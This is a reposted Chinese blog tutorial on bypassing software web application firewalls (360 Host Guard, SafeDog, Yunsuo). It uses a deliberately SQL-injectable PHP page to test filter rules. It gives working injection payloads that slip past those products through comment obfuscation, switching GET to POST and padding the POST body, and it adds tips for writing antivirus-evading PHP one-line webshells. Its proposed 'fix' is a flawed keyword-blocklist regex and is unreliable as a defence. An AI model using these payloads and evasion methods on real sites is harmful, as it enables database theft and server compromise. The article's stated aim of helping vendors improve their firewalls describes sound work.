全方位绕过软WAF攻略
0×00 前言
現(xiàn)在軟waf較為多,就在今年夏天苦逼挖洞的日子里經(jīng)常遇到360主機(jī)衛(wèi)士,安全狗,云鎖之類的軟waf進(jìn)行攔截,經(jīng)常碰到如下攔截提示:
看到以上三個(gè)攔截提示就讓人頭疼不已,欲罷不能。
so,就在網(wǎng)上搜索各種繞過waf的資料,終于我結(jié)合了網(wǎng)上的文章以及自己的測試思路,寫下了這篇文章。
0×01 數(shù)據(jù)庫特性
/**/
;
‘
“
#
–
– +
– -
+
-
+、-執(zhí)行結(jié)果:
–、– -、– +、#執(zhí)行結(jié)果:
/**/執(zhí)行結(jié)果:
0×02 攔截情況
SQL注入代碼:
? ? ? header('content-type:text/html;chaset=utf-8');
ini_set('display_errors',1);
$mysqli = new mysqli('localhost', 'root','','ow');
$id = $_GET["id"];
$sql = "select * from news where id=".$id;
$result = $mysqli->query($sql);
if($result === false){//執(zhí)行失敗
? echo $mysqli->error;
? echo $mysqli->errno;
}
else
{
echo '<h1>'.$sql.'<h1>';
echo '<hr><table border="1px" align="center">';
echo '<tr><th>ID</th><th>a</th><th>內(nèi)容</th></tr>';
while($row = $result->fetch_assoc()){
echo '<tr>';
? echo '<td>'.$row['id'].'</td>';
? echo '<td>wait</td>';
? echo '<td>'.$row['content'].'</td>';
? echo '</tr>';
}
echo '</table>';
}
$mysqli->close();
30主機(jī)衛(wèi)士測試:
‘:不攔截
“:不攔截
and 1=1:攔截
and 1:不攔截
and 1 like 1:不攔截
and/**/1=1:不攔截
and ’1′=’1′:攔截
and 1<>2:不攔截
union select:攔截
union/**/select:攔截
union(select):攔截
union+form:不攔截
0×03 揣測匹配規(guī)則
and匹配規(guī)則:
初步設(shè)想and匹配規(guī)則:
and%20\d+=\d+:
根據(jù)以上正則,\d+是匹配多個(gè)數(shù)字,但是將數(shù)字改成字符串后還是被攔截。
進(jìn)階設(shè)想and匹配規(guī)則:
and%20(.)+=(.)+:
本次設(shè)想規(guī)則,也可以證實(shí)了上述測試中的and 1=1,將請(qǐng)求包中的and%20′s’='s’改為and/**/’s'=’s',360主機(jī)衛(wèi)士不會(huì)攔截
同樣的將and/**/’s'=’s'改為and+’s'=’s’
咱們同樣將and+’s'=’s'改為and+1=1
這樣咱們進(jìn)階設(shè)想and 1=1的匹配規(guī)則就可以相對(duì)來說是成立的,既然可以用這樣的形式來進(jìn)行繞過,咱們可以得出一種過waf的姿勢了
我們可以使用布爾盲注得到網(wǎng)站表中的數(shù)據(jù)了。
首先來查看庫名:
語句and+’ow’=database/**/()
查出了相對(duì)應(yīng)的庫名ow
當(dāng)然咱們主要是以繞過軟waf為主,所以這里的布爾盲注就不做詳細(xì)的測試了
union select匹配規(guī)則
初步設(shè)想union%20select%20\d+,\d+
咱們還是將%20替換掉,改為union+select+1,2
初步設(shè)想失敗,咱們繼續(xù)測試
進(jìn)階設(shè)想:
union(.)+select(.)+\d+,\d+%20
這里還是匹配到了,基本上對(duì)于這樣的匹配規(guī)則,已經(jīng)是無從遁形了
我們的設(shè)想幾乎沒有任何錯(cuò)誤,union select的匹配規(guī)則相對(duì)的來說基本上是這樣了。
0×04 提交方式繞過
可以看到數(shù)據(jù)包都是以GET方式傳遞的,咱們將GET提交方式改為POST,看看結(jié)果如何:
可以看到這里咱們將攻擊PYLOAD執(zhí)行過去之后,并沒有被攔截,這個(gè)原理很簡單,程序首先判斷是什么方式請(qǐng)求
然后對(duì)應(yīng)的攔截請(qǐng)求,我們發(fā)送POST請(qǐng)求的時(shí)候,在請(qǐng)求體中沒有發(fā)現(xiàn)惡意攻擊請(qǐng)求,然而并沒有檢測url上的攻
擊POLOAD,所以就直接繞過了360主機(jī)衛(wèi)士。當(dāng)然不單單只是360主機(jī)衛(wèi)士存在這個(gè)問題。
云鎖:
GET請(qǐng)求
POST請(qǐng)求
到此繞過360主機(jī)衛(wèi)士就有了兩種姿勢,云鎖也得到了1個(gè)姿勢,最便捷的一個(gè)姿勢
0×05 資源限制角度繞過
這是眾所周知、而又難以解決的問題。如果HTTP請(qǐng)求POST BODY太大,檢測所有的內(nèi)容,WAF集群消耗太大的CPU、內(nèi)存資源。因此許多WAF只檢測前面的幾K字節(jié)、1M、或2M。對(duì)于攻擊者而然,只需要在POST BODY前面添加許多無用數(shù)據(jù),把攻擊payload放在最后即可繞過WAF檢測。
360安全衛(wèi)士測試,將sql注入代碼里的$GET["id"]改為$POST["id"],接著測試:
還是會(huì)被攔截,我們?cè)诠魀yload之前加入較多的無用字符
我在攻擊Pyload之前加入了789個(gè)字符后,360主機(jī)衛(wèi)士并沒又進(jìn)行攔截,然后咱們將這里的無用字符用/**/包裹起來
我們將這里的無用字符精簡一下,精簡之后到485個(gè)字符及可繞過360主機(jī)衛(wèi)士。
我們?cè)賮砜纯丛奇i
云鎖遇到POST請(qǐng)求直接不用繞了。
安全狗:
安全狗的以這樣的方式與360主機(jī)衛(wèi)士類似。到此處為止360主機(jī)衛(wèi)士有了3種姿勢,安全狗有了第一種姿勢,云鎖有了兩種姿勢。
0×05 測試安全狗、云鎖用/**/繞過
我們已以數(shù)據(jù)庫特性為主來進(jìn)行測試,//執(zhí)行出來就是一個(gè)空格,用//對(duì)安全狗、云鎖來繞過并注入
對(duì)安全狗測試:
Pyload:union//select//1,2
Pyload:union/*********/select/*********/1,2
測試到這里咱們?cè)赑yload中加入字母,符號(hào)等等一些東西
Pyload:union/**sssssssssssssssss”‘*****/select/*****sssssssssssssssss”‘****/1,2
使用當(dāng)前pyload成功的繞過了安全狗,咱們精簡下pyload:
Pyload:union/**“‘*****/select/*****”‘****/1,2
當(dāng)我們將字符去掉之后,被攔截了,說明安全狗在匹配/**/的時(shí)候,會(huì)匹配符號(hào)不會(huì)匹配字符,改下Pyload
Pyload:union/**s*****/select/*****s****/1,2
我們將這個(gè)*精簡一下,得到如下Pyload
Pyload:union/s**/select/s**/1,2
對(duì)于安全狗使用/*/繞過的時(shí)候,右邊的必須大于或等于2個(gè)*號(hào),中間的字符串必須大于或等于1個(gè)字母的時(shí)候即可繞過安全狗
云鎖測試:
根據(jù)以上測試安全狗的姿勢來測試云鎖/*s**/
Pload:union/s**/select/s**/1,2
我們改一下Pyload,給它加上符號(hào)試試
Pyload:union/s’”/select/s’”/1,2
成功繞過云鎖,精簡下Pyload
Pyload:union/’/select/’/1,2
對(duì)于云鎖用/**/繞過的時(shí)候只要在其中加入‘就可以繞過
通過上面的繞過姿勢,當(dāng)360主機(jī)衛(wèi)士、云鎖、安全狗結(jié)合在一起的時(shí)候可得出如下姿勢
Pyload:union/w’**/select/w’**/1,2
并將以上pyload通過post方式提交及可繞過。
0×06 SQL注入漏洞修復(fù)
<?php
? header('content-type:text/html;chaset=utf-8');
? ini_set('display_errors',1);
? $mysqli = new mysqli('localhost', 'root','','ow');
? $id = $_GET["id"];
? $sql = "select * from news where id=".$id;
? $result = $mysqli->query($sql);
? if($result === false){//執(zhí)行失敗
? ? ? echo $mysqli->error;
? ? ? echo $mysqli->errno;
? }
? else
? {
? ? ? echo '<h1>'.$sql.'<h1>';
? ? ? echo '<hr><table border="1px" align="center">';
? ? ? echo '<tr><th>ID</th><th>a</th><th>內(nèi)容</th></tr>';
? ? ? while($row = $result->fetch_assoc()){
? ? ? ? ? echo '<tr>';
? ? ? ? ? echo '<td>'.$row['id'].'</td>';
? ? ? ? ? echo '<td>wait</td>';
? ? ? ? ? echo '<td>'.$row['content'].'</td>';
? ? ? ? ? echo '</tr>';
? ? ? }
? ? ? echo '</table>';
? }
? $mysqli->close();
?
?>
修復(fù)之后:
<?php
? header('content-type:text/html;chaset=utf-8');
? ini_set('display_errors',1);
? $mysqli = new mysqli('localhost', 'root','','ow');
? $id = injection_defense($_GET["id"]);
? $sql = "select * from news where id=".$id;
? if($id)
? {
? ? ? $result = $mysqli->query($sql);
? ? ? if($result === false){//執(zhí)行失敗
? ? ? ? ? echo $mysqli->error;
? ? ? ? ? echo $mysqli->errno;
? ? ? }
? ? ? else
? ? ? {
? ? ? ? ? echo '<h1>'.$sql.'<h1>';
? ? ? ? ? echo '<hr><table border="1px" align="center">';
? ? ? ? ? echo '<tr><th>ID</th><th>a</th><th>內(nèi)容</th></tr>';
? ? ? ? ? while($row = $result->fetch_assoc()){
? ? ? ? ? ? ? echo '<tr>';
? ? ? ? ? ? ? echo '<td>'.$row['id'].'</td>';
? ? ? ? ? ? ? echo '<td>wait</td>';
? ? ? ? ? ? ? echo '<td>'.$row['content'].'</td>';
? ? ? ? ? ? ? echo '</tr>';
? ? ? ? ? }
? ? ? ? ? echo '</table>';
? ? ? }
? }
? $mysqli->close();
? function injection_defense($str)
? {
? ? ? if(preg_match('/[all|select|union|update|delete|\/|*| |and|ascii|form|where|=|\'|"|order]+/i', $str))
? ? ? {
? ? ? ? ? echo '請(qǐng)勿惡意攻擊';
? ? ? }
? ? ? else
? ? ? {
? ? ? ? ? return $str;
? ? ? }
? }
?>
這樣就可以很有效的防止SQL注入
0×07 PHP一句話原理分析
PHP一句話原型:
?
?
一句話的原型可分為兩部分
?
@eval():函數(shù)部分
$_POST["ceshi"]:傳值部分
?
原理分析:
在還沒有接觸編程的時(shí)候,很想知道為什么一句話木馬功能這么齊全呢?既可以上傳文件也能下載文件,還能寫入文件,這是為什么呢?
咱們以這個(gè)寫入文件為主,其實(shí)實(shí)現(xiàn)各種功能都是使用語言中的內(nèi)置函數(shù)來完成該功能。
file_put_contens():寫入文件操作
函數(shù)使用file_put_contents(文件名,文件內(nèi)容) 執(zhí)行之后,當(dāng)前目錄中就出現(xiàn)了shateaa.php文件,訪問看看是不是輸出為1
0×08 PHP免殺一句話編寫
?
?
根據(jù)以上查殺情況,我們得出一個(gè)結(jié)論:單個(gè)代碼執(zhí)行的函數(shù)安全狗是不會(huì)殺的, 只有當(dāng)有了外界的可控傳參的時(shí)候才會(huì)被殺掉。
咱們繼續(xù)來測試,既然已經(jīng)知道了,我們就可以就事論事,不讓軟waf檢測到我們有傳參即可
?
? ?
可繞過安全狗,360主機(jī)衛(wèi)士。盡量不要使用eval代碼執(zhí)行函數(shù),要使用和他功能相同的assert()函數(shù),能完成相同的功能
?
0×09 關(guān)鍵字函數(shù)替換
通過GET傳遞函數(shù)會(huì)被匹配到360主機(jī)衛(wèi)士的關(guān)鍵函數(shù)里,所以我們只需要改為phpinfo/**/(),這樣就可以繞過
通過POST傳遞關(guān)鍵函數(shù)可以直接繞過
0×10 總結(jié)
一個(gè)好WAF并不是吹出來的,而是實(shí)踐出來的。研究waf的繞過,并不是為了去攻擊某某網(wǎng)站,而是為了提高waf的防御能力。
當(dāng)然我們不能僅僅停留在一個(gè)層面上,更要明白其漏洞原理,在代碼層面上就將其修復(fù),而不是事事靠第三方軟件的防御。究其
根本也希望做waf的廠商看到此類文章,修復(fù)自己waf存在的問題。
轉(zhuǎn)載于:https://www.cnblogs.com/h2zZhou/p/7735152.html
總結(jié)
以上是生活随笔為你收集整理的全方位绕过软WAF攻略的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ALV添加文字输入框
- 下一篇: git设置忽略文件和目录